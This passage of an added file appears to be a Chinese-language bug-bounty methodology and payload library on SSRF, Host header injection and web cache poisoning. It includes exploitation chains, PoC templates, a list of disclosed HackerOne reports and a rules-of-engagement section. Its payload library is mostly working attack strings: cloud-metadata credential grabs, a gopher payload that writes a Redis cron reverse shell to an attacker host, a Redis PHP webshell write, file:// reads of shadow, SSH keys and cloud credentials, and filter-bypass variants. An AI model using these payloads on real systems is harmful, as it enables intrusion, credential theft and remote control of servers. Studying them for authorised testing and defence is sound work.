+ # 腾讯云
164
+ http://metadata.tencentyun.com/latest/meta-data/
165
+
166
+ # 华为云
167
+ http://169.254.169.254/openstack/latest/meta_data.json
168
+
169
+ # Kubernetes
170
+ http://kubernetes.default.svc/api/v1/namespaces/default/pods
171
+ ```
172
+
173
+ ### 3.7 重定向绕过
174
+
175
+ 某些应用会"先校验 URL 域名为 safelist,再发请求",但跟随 302 重定向到内网:
176
+
177
+ ```python
178
+ # attacker.com 上
179
+ HTTP/1.1 302 Found
180
+ Location: http://169.254.169.254/latest/meta-data/
181
+
182
+ # 让目标以为请求 attacker.com,但实际跟随到内网
183
+ url=https://attacker.com/redirect
184
+ ```
185
+
186
+ ### 3.8 DNS Rebinding
187
+
188
+ ```
189
+ # 用 rbndr.us
190
+ url=http://7f000001.c0a80101.rbndr.us
191
+ # 第 1 次解析返回 127.0.0.1,第 2 次返回 192.168.1.1
192
+ # 应用先解析 → 校验 → 再次解析时变内网
193
+
194
+ # 自建 rebinder:tartarsauce.org / dnsrebind.lock.cmpxchg8b.com
195
+ ```
196
+
197
+ ### 3.9 Host Header 注入探针
198
+
199
+ ```bash
200
+ # 1. 简单 Host 替换
201
+ curl -H "Host: attacker.com" https://target/login -i
202
+ # 看响应中是否含 attacker.com(密码重置链接 / 重定向)
203
+
204
+ # 2. X-Forwarded-Host
205
+ curl -H "Host: target.com" -H "X-Forwarded-Host: attacker.com" https://target/login -i
206
+
207
+ # 3. 双 Host header
208
+ curl -H "Host: target.com" -H "Host: attacker.com" https://target/login -i
209
+
210
+ # 4. Host + 端口
211
+ curl -H "Host: target.com:8080@attacker.com" https://target/login -i
212
+ ```
213
+
214
+ **关注**:
215
+ - 密码重置 / 邮件中的链接里出现 attacker.com → 用攻击者 Host 控制了重置链接
216
+ - 重定向到 attacker.com → 开放重定向
217
+ - 缓存(Cache-Control: public)将受污染响应缓存
218
+
219
+ ### 3.10 缓存投毒探针
220
+
221
+ ```bash
222
+ # 1. 用 X-Forwarded-Host 注入
223
+ curl -H "X-Forwarded-Host: attacker.com" https://target/?cb=1 -i
224
+ # 看响应里是否含 attacker.com(在 link、canonical、og:url 等位置)
225
+
226
+ # 2. 命中缓存
227
+ # 多次请求同一路径
228
+ for i in {1..3}; do curl -I "https://target/?cb=1"; done
229
+ # 看 X-Cache: HIT / Age: > 0
230
+
231
+ # 3. 路径规范化(Web Cache Deception)
232
+ curl -I "https://target/profile.php/.css"
233
+ curl -I "https://target/account/.js"
234
+ # 如果返回了用户态内容并被缓存,下个匿名用户能读
235
+
236
+ # 4. 双斜杠
237
+ curl -I "https://target//admin"
238
+ curl -I "https://target/admin;%2f"
239
+ ```
240
+
241
+ ---
242
+
243
+ ## 4. Bypass 矩阵(SSRF 详见 methodology/02 第 6 章)
244
+
245
+ | 拦 | 绕 |
246
+ |---|---|
247
+ | `127.0.0.1` 字符串拦 | 十进制 / 八进制 / 16 进制 IP |
248
+ | `localhost` 拦 | `127.1` / `127.0.0.0.1` / `0.0.0.0` |
249
+ | `internal`/`private` 关键字 | DNS Rebinding |
250
+ | 仅允许 `https://` | URL 编码 / 双重协议 / 重定向 |
251
+ | 域名白名单 | `attacker.com#@target.com`、`@` 用户名段绕过 |
252
+ | 仅允许某域 | 子域:`legit-attacker.com.evil.com` 解析 |
253
+ | 端口黑名单 | 用 22/80/443 等公共端口的内网服务(gopher://) |
254
+ | AWS IMDSv2 | 试 v1:`http://169.254.169.254/latest/meta-data/`,部分老实例没启 v2 |
255
+
256
+ ---
257
+
258
+ ## 5. 利用提权 / 横向
259
+
260
+ ```
261
+ 基础 SSRF
262
+ → 出网回连证明(DNSLog)
263
+ → 内网端口扫描(http://10.0.0.0/8 各端口)
264
+ → 内网 Redis 写 SSH key(gopher://)
265
+ → 云元数据 → IAM 临时凭据(AWS STS / GCP token)
266
+ → IAM 凭据 → 全云控制
267
+ → S3 / OSS bucket 读写
268
+ → 横向到 Kubernetes API
269
+ ```
270
+
271
+ 参考真实价值:H1 平台 AWS metadata SSRF 报告 $5k–$50k 普遍。
272
+
273
+ ### Host Header 利用链
274
+
275
+ ```
276
+ Host 注入 → 密码重置 URL 含 attacker.com
277
+ → 用户点击重置邮件 → 把 reset_token 发到 attacker.com
278
+ → 攻击者拿 token 重置受害者密码
279
+
280
+ Host 注入 → 缓存中污染了 og:url
281
+ → 受害者看到分享卡片指向 attacker.com → 钓鱼
282
+
283
+ Web Cache Deception
284
+ → /account/.css 缓存了 alice 的账户页
285
+ → bob 访问 /account/.css → 看到 alice 的数据
286
+ ```
287
+
288
+ ---
289
+
290
+ ## 6. 真实案例指纹
291
+
292
+ | 漏洞 | 指纹 |
293
+ |------|------|
294
+ | Capital One AWS | SSRF → `http://169.254.169.254/latest/meta-data/iam/security-credentials/...` 拿到 IAM 凭据 → S3 全量数据 |
295
+ | Shopify GCP | SSRF → `metadata.google.internal/computeMetadata/v1/` |
296
+ | HackerOne SSRF | `?url=` 接受 `http://localhost`,命中内网 Mongo |
297
+ | Confluence CVE-2019-3396 | 模板注入 + SSRF |
298
+ | Jira CVE-2019-8451 | `/plugins/servlet/gadgets/makeRequest?url=...` |
299
+ | WeasyPrint / wkhtmltopdf | PDF 生成器解析 HTML 中 `<img src=>` 触发 SSRF |
300
+ | Microsoft Outlook | 邮件预览 / 富文本 fetch SSRF |
301
+
302
+ 通用指纹:
303
+ - `?url=https://oob.attacker.cc/x` → OOB 平台收到 → 基本 SSRF
304
+ - 收到的 User-Agent 含 `wkhtmltopdf` / `Headless Chrome` / `Java/1.x` → 渲染器/HTTP 客户端
305
+ - 试 `file:///etc/passwd` 返回 200 → 协议白名单缺
306
+ - 试 `http://169.254.169.254/...` 返回 token JSON → 云 metadata 可达
307
+
308
+ ---
309
+
310
+ ## 7. 复现 / 证据要点
311
+
312
+ ### 7.1 报告必备
313
+
314
+ 1. 完整请求包(含被 fuzz 的 url 参数)
315
+ 2. 响应或外带证据(OOB 平台日志截图,含时间、源 IP)
316
+ 3. 影响升级证明(不实际利用,但展示能拿到的内容)
317
+
318
+ ### 7.2 PoC 模板(云 metadata)
319
+
320
+ ```http
321
+ POST /api/preview HTTP/1.1
322
+ Host: target.com
323
+ Content-Type: application/json
324
+
325
+ {"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
326
+
327
+ → 响应(脱敏):
328
+ HTTP/1.1 200 OK
329
+ Content-Type: text/plain
330
+
331
+ xxx-app-role-prod
332
+ (这里证明能拿到 IAM 角色名,未进一步获取临时凭据)
333
+ ```
334
+
335
+ ### 7.3 Host 注入 PoC
336
+
337
+ ```http
338
+ POST /api/forgot-password HTTP/1.1
339
+ Host: attacker.com
340
+ Content-Type: application/json
341
+
342
+ {"email":"hunter@example.com"}
343
+
344
+ → 邮件链接:
345
+ https://attacker.com/reset?token=eyJhb...
346
+ ```
347
+
348
+ ### 7.4 CVSS
349
+
350
+ ```
351
+ 未授权 SSRF → metadata → 云控制 = 9.8 Critical
352
+ 未授权 SSRF → 内网端口扫描 CVSS = 7.5
353
+ 认证 SSRF → 内网 = 6.5
354
+ Host 注入 → 密码重置中毒 = 8.1
355
+ 缓存投毒 → 用户态泄露 = 7.5
356
+ ```
357
+
358
+ ### 7.5 影响段
359
+
360
+ ```
361
+ 通过 /api/preview 接口的 url 参数,攻击者可让服务器代发请求至任意地址。
362
+ 确认可达:
363
+ 1. 内网 127.0.0.1 / 10.x.x.x 段服务(端口扫描可行)
364
+ 2. AWS metadata 端点(已拿到 IAM 角色名 xxx-app-role-prod)
365
+ 3. 内网 Redis / Mongo 端口(仅做端口可达探测,未发起业务命令)
366
+
367
+ 我未尝试获取 IAM 临时凭据 / 未读取 secret,仅证明可达云 metadata。
368
+ ```
369
+
370
+ ---
371
+
372
+ ## 相关 MCP 工具
373
+
374
+ 实战中可调用 jshookmcp 完成自动化。**默认 `search` profile 未预加载工具,调用前先用 `mcp__jshook__activate_tools <工具名>` 激活**(详见 [`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) §推荐 profile)。
375
+
376
+ | 工具 | 域 | 调用时机 |
377
+ |---|---|---|
378
+ | `mcp__jshook__network_intercept` + `mcp__jshook__network_get_requests` | network | 拦截外发请求 / 观察 SSRF 是否实际发出 |
379
+ | `mcp__jshook__http2_probe` + `mcp__jshook__http_request_build` | network | HTTP/2 帧构造探测内网 / 绕过过滤 |
380
+ | `mcp__jshook__network_replay_request` | network | 重放并修改 host / scheme / port 验证不同协议 |
381
+ | `mcp__jshook__proto_infer_state_machine` | protocol-analysis | 自定义协议 SSRF 状态机推断 |
382
+
383
+ 完整映射:[`../tools/mcp-jshook.md`](../tools/mcp-jshook.md)
384
+
385
+ ## 8. 不要做的事
386
+
387
+ - **禁**:实际拿 IAM 临时凭据后调用 AWS API(`aws s3 ls` 也算)。仅证明可达 metadata 端点。
388
+ - **禁**:用 SSRF 触发任何"能改 / 能删"的内网服务(Redis FLUSHALL、写 SSH key、CONFIG SET)。
389
+ - **禁**:用 SSRF + gopher 扫整个内网 /8 段。1–3 个目标 IP 验证概念即停。
390
+ - **禁**:实际投毒共享缓存(让其他用户看到攻击页面)。在自己的 cache key 上证明能投毒。
391
+ - **禁**:Host 注入实际触发用户密码重置邮件(自己邮箱发自己 OK)。
392
+ - **限**:SSRF 探测用自己的 OOB 域名,不要用别人的 DNSLog 平台滥用。
393
+
394
+ ## H1 真实案例
395
+
396
+ _共 108 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
397
+
398
+ | Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
399
+ |---|--:|---|---|---|
400
+ | Critical | — | HackerOne | [Server Side Request Forgery (SSRF) via Analytics Reports](https://hackerone.com/reports/2262382) | Hello Gents, I would like to report an issue where attackers are able to read internal files via an SSRF vulnerability |
401
+ | High | 10000 usd | GitLab | [SSRF on project import via the remote_attachment_url on a Note](https://hackerone.com/reports/826361) | Summary The Note model has an `attachment` which is provided by a CarrierWave uploader: One of the features this provides is th… |
402
+ | High | 6000 usd | Reddit | [Blind SSRF to internal services in matrix preview_link API](https://hackerone.com/reports/1960765) | Summary: Reddit' new chat is based on Matrix software which has preview_link functionality which doesn't filter the URL before … |
403
+ | Critical | 3500 usd | Slack | [TURN server allows TCP and UDP proxying to internal network, localhost and meta-data services](https://hackerone.com/reports/333419) | The TURN servers used by Slack allow TCP connections and UDP packets to be proxied to the internal network |
404
+ | High | — | GitLab | [Server Side Request Forgery mitigation bypass](https://hackerone.com/reports/632101) | Summary This vulnerability allows attacker to send arbitrary requests to local network which hosts GitLab and read the response |
405
+ | High | 4000 usd | GitLab | [Unauthenticated blind SSRF in OAuth Jira authorization controller](https://hackerone.com/reports/398799) | The `Oauth::Jira::AuthorizationsController#access_token` endpoint is vulnerable to a blind SSRF vulnerability |
406
+ | Critical | — | Vimeo | [SSRF leaking internal google cloud data through upload function [SSH Keys, etc..]](https://hackerone.com/reports/549882) | SSRF leaking internal google cloud data through upload function [SSH Keys, etc..] |
407
+ | Critical | — | Evernote | [Full read SSRF in www.evernote.com that can leak aws metadata and local file inclusion](https://hackerone.com/reports/1189367) | Full read SSRF in www.evernote.com that can leak aws metadata and local file inclusion |
408
+ | Critical | — | GitLab | [Full Read SSRF on Gitlab's Internal Grafana](https://hackerone.com/reports/878779) | Apparently, Grafana is bundled with Gitlab by default. So the grafana instance that is accessible via `/-/grafana/`is vulnerabl… |
409
+ | High | — | Omise | [SSRF in webhooks leads to AWS private keys disclosure](https://hackerone.com/reports/508459) | Vulnerability Summary Omise makes use of Amazon AWS as their application environment |
410
+ | Critical | 3000 usd | Lark Technologies | [Stored XSS & SSRF in Lark Docs](https://hackerone.com/reports/892049) | Stored XSS & SSRF in Lark Docs |
411
+ | High | 2727 usd | TikTok | [External SSRF and Local File Read via video upload due to vulnerable FFmpeg HLS processing](https://hackerone.com/reports/1062888) | External SSRF and Local File Read via video upload due to vulnerable FFmpeg HLS processing |
412
+
413
+ **命中本类的 weakness 分布:**
414
+
415
+ - Server-Side Request Forgery (SSRF):93 条
416
+ - Uncategorized → 手工归类:13 条
417
+ - Externally Controlled Reference to a Resource in Another Sphere:2 条
418
+
419
+
420
+ ## Payload 库
421
+
422
+ _19 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
423
+
424
+ **类别分布:** SSRF服务端请求伪造 (12) · 云安全漏洞 (4) · 缓存与CDN安全 (3)
425
+
426
+ ### · SSRF服务端请求伪造
427
+
428
+ ### 基础SSRF攻击 `ssrf-basic`
429
+ 服务端请求伪造基础攻击技术
430
+ 子类:**基础攻击** · tags: `ssrf` `server-side` `request`
431
+
432
+ **前置条件:** 存在URL输入点;服务器会请求用户提供的URL
433
+
434
+ **攻击链:**
435
+
436
+ **1. 1. 探测SSRF**
437
+ _探测SSRF漏洞_
438
+ ```
439
+ 输入URL: http://127.0.0.1
440
+ 输入URL: http://localhost
441
+ 输入URL: http://[::1]
442
+ 观察服务器响应是否包含内网信息
443
+ ```
444
+
445
+ **2. 2. 扫描内网端口**
446
+ _扫描内网端口_
447
+ ```
448
+ http://192.168.1.1:22
449
+ http://192.168.1.1:80
450
+ http://192.168.1.1:443
451
+ http://192.168.1.1:3306
452
+ 根据响应差异判断端口开放状态
453
+ ```
454
+
455
+ **3. 3. 访问内网服务**
456
+ _访问内网服务_
457
+ ```
458
+ http://192.168.1.100/admin
459
+ http://10.0.0.1:8080/manager
460
+ http://172.16.0.1:9200/_cat/indices
461
+ 访问内网管理界面或敏感服务
462
+ ```
463
+
464
+ **4. 4. 读取本地文件**
465
+ _读取本地文件_
466
+ ```
467
+ file:///etc/passwd
468
+ file:///c:/windows/win.ini
469
+ file:///proc/self/environ
470
+ 使用file协议读取本地文件
471
+ ```
472
+
473
+ **WAF/EDR 绕过变体:**
474
+
475
+ **1. IP格式绕过**
476
+ _使用不同IP格式绕过_
477
+ ```
478
+ http://0177.0.0.1 (八进制)
479
+ http://2130706433 (十进制)
480
+ http://0x7f000001 (十六进制)
481
+ http://127.1 (简写)
482
+ http://127.0.0.1.nip.io (DNS重绑定)
483
+ ```
484
+
485
+ **2. URL解析差异**
486
+ _利用URL解析差异_
487
+ ```
488
+ http://attacker.com#@127.0.0.1/
489
+ http://127.0.0.1.attacker.com
490
+ http://attacker.com\@127.0.0.1/
491
+ 利用URL解析差异绕过
492
+ ```
493
+
494
+ **3. DNS重绑定**
495
+ _DNS重绑定攻击_
496
+ ```
497
+ 使用DNS重绑定服务:
498
+ http://7f000001.cip.cc (解析为127.0.0.1)
499
+ http://127.0.0.1.nip.io
500
+ 第一次解析为外网IP,第二次解析为内网IP
501
+ ```
502
+
503
+ ---
504
+
505
+ ### AWS元数据攻击 `ssrf-cloud-aws`
506
+ 利用SSRF访问AWS EC2元数据服务
507
+ 子类:**云元数据** · tags: `ssrf` `aws` `metadata` `cloud`
508
+
509
+ **前置条件:** 存在SSRF漏洞;目标运行在AWS EC2上
510
+
511
+ **攻击链:**
512
+
513
+ **1. 1. 访问元数据服务**
514
+ _访问AWS元数据服务_
515
+ ```
516
+ http://169.254.169.254/latest/meta-data/
517
+ http://169.254.169.254/latest/user-data/
518
+ http://169.254.169.254/latest/dynamic/instance-identity/
519
+ ```
520
+
521
+ **2. 2. 获取IAM凭证**
522
+ _获取IAM临时凭证_
523
+ ```
524
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
525
+ 获取角色名后:
526
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
527
+ ```
528
+
529
+ **3. 3. 获取用户数据**
530
+ _获取实例用户数据_
531
+ ```
532
+ http://169.254.169.254/latest/user-data/
533
+ 可能包含敏感信息、API密钥、启动脚本
534
+ ```
535
+
536
+ **4. 4. 使用IMDSv2绕过**
537
+ _绕过IMDSv2保护_
538
+ ```
539
+ 如果IMDSv2被强制:
540
+ 1. 先获取token:
541
+ PUT http://169.254.169.254/latest/api/token
542
+ Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
543
+ 2. 使用token访问:
544
+ Header: X-aws-ec2-metadata-token: TOKEN
545
+ ```
546
+
547
+ **WAF/EDR 绕过变体:**
548
+
549
+ **1. IP编码变体绕过**
550
+ _通过十进制、十六进制、八进制及IPv6映射等IP地址编码方式绕过169.254.169.254黑名单检测_
551
+ ```
552
+ # 十进制整数:
553
+ http://2852039166/latest/meta-data/
554
+ # 十六进制:
555
+ http://0xA9FEA9FE/latest/meta-data/
556
+ # 八进制:
557
+ http://0251.0376.0251.0376/latest/meta-data/
558
+ # IPv6映射:
559
+ http://[::ffff:169.254.169.254]/latest/meta-data/
560
+ # 混合编码:
561
+ http://0xA9.0376.169.0xFE/latest/meta-data/
562
+ ```
563
+
564
+ **2. DNS重绑定与重定向链绕过**
565
+ _利用DNS重绑定使域名在验证时解析为安全IP而实际请求时解析为元数据地址,或通过HTTP重定向链和非标准协议绕过_
566
+ ```
567
+ # DNS重绑定(使用rebind服务):
568
+ http://7f000001.A9FEA9FE.rbndr.us/latest/meta-data/
569
+ # 第一次解析到允许的IP,第二次解析到169.254.169.254
570
+
571
+ # 重定向链:
572
+ # 在attacker.com设置302跳转到http://169.254.169.254
573
+ http://attacker.com/redirect?url=http://169.254.169.254/latest/meta-data/
574
+
575
+ # URL schema变体:
576
+ gopher://169.254.169.254:80/_GET%20/latest/meta-data/%20HTTP/1.1%0AHost:%20169.254.169.254%0A%0A
577
+ ```
578
+
579
+ ---
580
+
581
+ ### GCP元数据攻击 `ssrf-cloud-gcp`
582
+ 利用SSRF攻击Google Cloud元数据服务
583
+ 子类:**GCP元数据** · tags: `ssrf` `gcp` `cloud` `metadata`
584
+
585
+ **前置条件:** 存在SSRF漏洞;目标运行在GCP环境
586
+
587
+ **攻击链:**
588
+
589
+ **1. 1. 访问元数据服务**
590
+ _访问GCP元数据端点_
591
+ ```
592
+ http://metadata.google.internal/computeMetadata/v1/
593
+ 需要添加Header:
594
+ Metadata-Flavor: Google
595
+ ```
596
+
597
+ **2. 2. 获取访问令牌**
598
+ _获取服务账户令牌_
599
+ ```
600
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
601
+ 返回OAuth访问令牌
602
+ ```
603
+
604
+ **3. 3. 获取服务账户信息**
605
+ _获取服务账户邮箱和别名_
606
+ ```
607
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
608
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/aliases
609
+ ```
610
+
611
+ **4. 4. 获取项目信息**
612
+ _获取项目ID_
613
+ ```
614
+ http://metadata.google.internal/computeMetadata/v1/project/project-id
615
+ http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id
616
+ ```
617
+
618
+ **5. 5. 获取SSH密钥**
619
+ _获取SSH公钥_
620
+ ```
621
+ http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
622
+ http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
623
+ ```
624
+
625
+ **6. 6. 获取Kubelet凭据**
626
+ _获取GKE集群信息_
627
+ ```
628
+ http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
629
+ 获取Kubernetes环境变量
630
+ ```
631
+
632
+ **WAF/EDR 绕过变体:**
633
+
634
+ **1. 使用IP地址**
635
+ _绕过域名过滤_
636
+ ```
637
+ http://169.254.169.254/computeMetadata/v1/
638
+ 使用内网IP代替域名
639
+ ```
640
+
641
+ ---
642
+
643
+ ### Azure元数据攻击 `ssrf-cloud-azure`
644
+ 利用SSRF攻击Azure元数据服务
645
+ 子类:**Azure元数据** · tags: `ssrf` `azure` `cloud` `metadata`
646
+
647
+ **前置条件:** 存在SSRF漏洞;目标运行在Azure环境
648
+
649
+ **攻击链:**
650
+
651
+ **1. 1. 访问元数据服务**
652
+ _访问Azure元数据端点_
653
+ ```
654
+ http://169.254.169.254/metadata/instance?api-version=2021-02-01
655
+ 需要添加Header:
656
+ Metadata: true
657
+ ```
658
+
659
+ **2. 2. 获取访问令牌**
660
+ _获取托管身份令牌_
661
+ ```
662
+ http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
663
+ 返回Azure AD访问令牌
664
+ ```
665
+
666
+ **3. 3. 获取计算信息**
667
+ _获取计算实例信息_
668
+ ```
669
+ http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
670
+ 返回VM详细信息
671
+ ```
672
+
673
+ **4. 4. 获取网络信息**
674
+ _获取网络配置_
675
+ ```
676
+ http://169.254.169.254/metadata/instance/network?api-version=2021-02-01
677
+ 返回网络配置信息
678
+ ```
679
+
680
+ **5. 5. 获取用户数据**
681
+ _获取用户数据_
682
+ ```
683
+ http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-02-01&format=text
684
+ 返回用户自定义数据
685
+ ```
686
+
687
+ **WAF/EDR 绕过变体:**
688
+
689
+ **1. 绕过Metadata头检查**
690
+ _绕过请求头验证_
691
+ ```
692
+ 使用HTTP请求走私或重定向绕过Metadata头检查
693
+ ```
694
+
695
+ ---
696
+
697
+ ### SSRF协议利用 `ssrf-protocol`
698
+ 利用各种协议进行SSRF攻击
699
+ 子类:**协议利用** · tags: `ssrf` `protocol` `file` `gopher`
700
+
701
+ **前置条件:** 存在SSRF漏洞;服务器支持多种协议
702
+
703
+ **攻击链:**
704
+
705
+ **1. 1. File协议**
706
+ _使用File协议读取文件_
707
+ ```
708
+ file:///etc/passwd
709
+ file:///c:/windows/win.ini
710
+ file:///proc/self/environ
711
+ 读取本地文件
712
+ ```
713
+
714
+ **2. 2. Dict协议**
715
+ _使用Dict协议探测服务_
716
+ ```
717
+ dict://127.0.0.1:6379/info
718
+ dict://127.0.0.1:11211/stats
719
+ 探测内网服务
720
+ ```
721
+
722
+ **3. 3. Gopher协议**
723
+ _使用Gopher协议攻击内网服务_
724
+ ```
725
+ gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a...
726
+ 构造Redis命令
727
+ ```
728
+
729
+ **4. 4. LDAP协议**
730
+ _使用LDAP协议_
731
+ ```
732
+ ldap://attacker.com/cn=test
733
+ ldap://127.0.0.1:389/cn=test
734
+ 触发LDAP查询
735
+ ```
736
+
737
+ **5. 5. TFTP协议**
738
+ _使用TFTP协议_
739
+ ```
740
+ tftp://attacker.com/file
741
+ 触发TFTP请求
742
+ ```
743
+
744
+ **WAF/EDR 绕过变体:**
745
+
746
+ **1. 协议大小写绕过**
747
+ _大小写混合绕过_
748
+ ```
749
+ FILE:///etc/passwd
750
+ File:///etc/passwd
751
+ Gopher://127.0.0.1:6379/
752
+ ```
753
+
754
+ ---
755
+
756
+ ### Gopher协议攻击 `ssrf-gopher`
757
+ 利用Gopher协议攻击内网服务
758
+ 子类:**Gopher攻击** · tags: `ssrf` `gopher` `redis` `mysql`
759
+
760
+ **前置条件:** 存在SSRF漏洞;服务器支持Gopher协议
761
+
762
+ **攻击链:**
763
+
764
+ **1. 1. Gopher基础格式**
765
+ _Gopher协议格式_
766
+ ```
767
+ gopher://<host>:<port>/_<payload>
768
+ _后面是实际发送的数据
769
+ 需要URL编码
770
+ ```
771
+
772
+ **2. 2. 攻击Redis**
773
+ _写入cron任务反弹Shell_
774
+ ```
775
+ gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$28%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
776
+ ```
777
+
778
+ **3. 3. 攻击MySQL**
779
+ _攻击MySQL数据库_
780
+ ```
781
+ gopher://127.0.0.1:3306/_<MySQL协议数据包>
782
+ 需要构造MySQL协议格式的数据
783
+ ```
784
+
785
+ **4. 4. 攻击FastCGI**
786
+ _攻击PHP-FPM_
787
+ ```
788
+ gopher://127.0.0.1:9000/_<FastCGI数据包>
789
+ 构造PHP-FPM攻击载荷
790
+ ```
791
+
792
+ **5. 5. 发送HTTP请求**
793
+ _发送HTTP请求_
794
+ ```
795
+ gopher://target.com:80/_GET%20/admin%20HTTP/1.1%0d%0aHost:%20target.com%0d%0a%0d%0a
796
+ 构造HTTP请求攻击内网
797
+ ```
798
+
799
+ **WAF/EDR 绕过变体:**
800
+
801
+ **1. 双重URL编码**
802
+ _双重URL编码绕过_
803
+ ```
804
+ gopher://127.0.0.1:6379/_%252a%250d%250a...
805
+ 双重编码绕过
806
+ ```
807
+
808
+ ---
809
+
810
+ ### Dict协议攻击 `ssrf-dict`
811
+ 利用Dict协议探测和攻击内网服务
812
+ 子类:**Dict协议** · tags: `ssrf` `dict` `redis` `memcached`
813
+
814
+ **前置条件:** 存在SSRF漏洞;服务器支持Dict协议
815
+
816
+ **攻击链:**
817
+
818
+ **1. 1. Dict协议格式**
819
+ _Dict协议基础格式_
820
+ ```
821
+ dict://<host>:<port>/<command>
822
+ 发送命令到目标服务
823
+ ```
824
+
825
+ **2. 2. 探测Redis**
826
+ _探测Redis服务_
827
+ ```
828
+ dict://127.0.0.1:6379/info
829
+ dict://127.0.0.1:6379/keys%20*
830
+ 获取Redis信息
831
+ ```
832
+
833
+ **3. 3. 探测Memcached**
834
+ _探测Memcached服务_
835
+ ```
836
+ dict://127.0.0.1:11211/stats
837
+ dict://127.0.0.1:11211/get%20key
838
+ 获取Memcached信息
839
+ ```
840
+
841
+ **4. 4. Redis写入文件**
842
+ _写入WebShell_
843
+ ```
844
+ dict://127.0.0.1:6379/set%20shell%20"<?php @eval($_POST[cmd]);?>"
845
+ dict://127.0.0.1:6379/config%20set%20dir%20/var/www/html
846
+ dict://127.0.0.1:6379/config%20set%20dbfilename%20shell.php
847
+ dict://127.0.0.1:6379/save
848
+ ```
849
+
850
+ **WAF/EDR 绕过变体:**
851
+
852
+ **1. 编码绕过**
853
+ _URL编码绕过关键字过滤_
854
+ ```
855
+ dict://127.0.0.1:6379/%73%65%74%20...
856
+ URL编码命令
857
+ ```
858
+
859
+ ---
860
+
861
+ ### File协议攻击 `ssrf-file`
862
+ 利用File协议读取本地文件
863
+ 子类:**File协议** · tags: `ssrf` `file` `lfi` `read`
864
+
865
+ **前置条件:** 存在SSRF漏洞;服务器支持File协议
866
+
867
+ **攻击链:**
868
+
869
+ **1. 1. Linux敏感文件** _[linux]_
870
+ _读取Linux敏感文件_
871
+ ```
872
+ file:///etc/passwd
873
+ file:///etc/shadow
874
+ file:///etc/hosts
875
+ file:///etc/resolv.conf
876
+ file:///proc/self/environ
877
+ file:///proc/self/cmdline
878
+ ```
879
+
880
+ **2. 2. Windows敏感文件** _[windows]_
881
+ _读取Windows敏感文件_
882
+ ```
883
+ file:///c:/windows/win.ini
884
+ file:///c:/windows/system32/config/sam
885
+ file:///c:/users/administrator/.ssh/id_rsa
886
+ file:///c:/inetpub/logs/logfiles/
887
+ ```
888
+
889
+ **3. 3. Web配置文件**
890
+ _读取Web应用配置_
891
+ ```
892
+ file:///var/www/html/config.php
893
+ file:///var/www/html/wp-config.php
894
+ file:///app/config/database.yml
895
+ file:///app/.env
896
+ ```
897
+
898
+ **4. 4. 云环境文件**
899
+ _读取云环境凭据_
900
+ ```
901
+ file:///var/run/secrets/kubernetes.io/serviceaccount/token
902
+ file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
903
+ file:///home/user/.aws/credentials
904
+ ```
905
+
906
+ **5. 5. SSH密钥**
907
+ _读取SSH私钥_
908
+ ```
909
+ file:///home/user/.ssh/id_rsa
910
+ file:///home/user/.ssh/authorized_keys
911
+ file:///root/.ssh/id_rsa
912
+ ```
913
+
914
+ **WAF/EDR 绕过变体:**
915
+
916
+ **1. 大小写混合**
917
+ _大小写混合绕过_
918
+ ```
919
+ FILE:///etc/passwd
920
+ File:///etc/passwd
921
+ file:///ETC/PASSWD
922
+ ```
923
+
924
+ ---
925
+
926
+ ### SSRF绕过技术 `ssrf-bypass`
927
+ 各种绕过SSRF过滤的技术
928
+ 子类:**绕过技术** · tags: `ssrf` `bypass` `waf` `filter`
929
+
930
+ **前置条件:** 存在SSRF漏洞;存在过滤机制
931
+
932
+ **攻击链:**
933
+
934
+ **1. 1. IP格式绕过**
935
+ _使用不同IP格式表示127.0.0.1_
936
+ ```
937
+ http://0177.0.0.1 (八进制)
938
+ http://2130706433 (十进制)
939
+ http://0x7f000001 (十六进制)
940
+ http://127.1 (简写)
941
+ http://127.0.0.1.nip.io (DNS重绑定)
942
+ http://127.0.0.1.xip.io
943
+ ```
944
+
945
+ **2. 2. URL解析差异**
946
+ _利用URL解析差异_
947
+ ```
948
+ http://attacker.com#@127.0.0.1/
949
+ http://127.0.0.1.attacker.com
950
+ http://attacker.com\@127.0.0.1/
951
+ http://attacker.com\.127.0.0.1/
952
+ ```
953
+
954
+ **3. 3. 重定向绕过**
955
+ _利用HTTP重定向_
956
+ ```
957
+ http://attacker.com/redirect?url=http://127.0.0.1
958
+ 使用短链接服务重定向到内网
959
+ ```
960
+
961
+ **4. 4. DNS重绑定**
962
+ _DNS重绑定攻击_
963
+ ```
964
+ http://7f000001.cip.cc
965
+ http://127.0.0.1.nip.io
966
+ 第一次解析为外网IP,第二次解析为内网IP
967
+ ```
968
+
969
+ **5. 5. IPv6绕过**
970
+ _使用IPv6地址绕过_
971
+ ```
972
+ http://[::1]
973
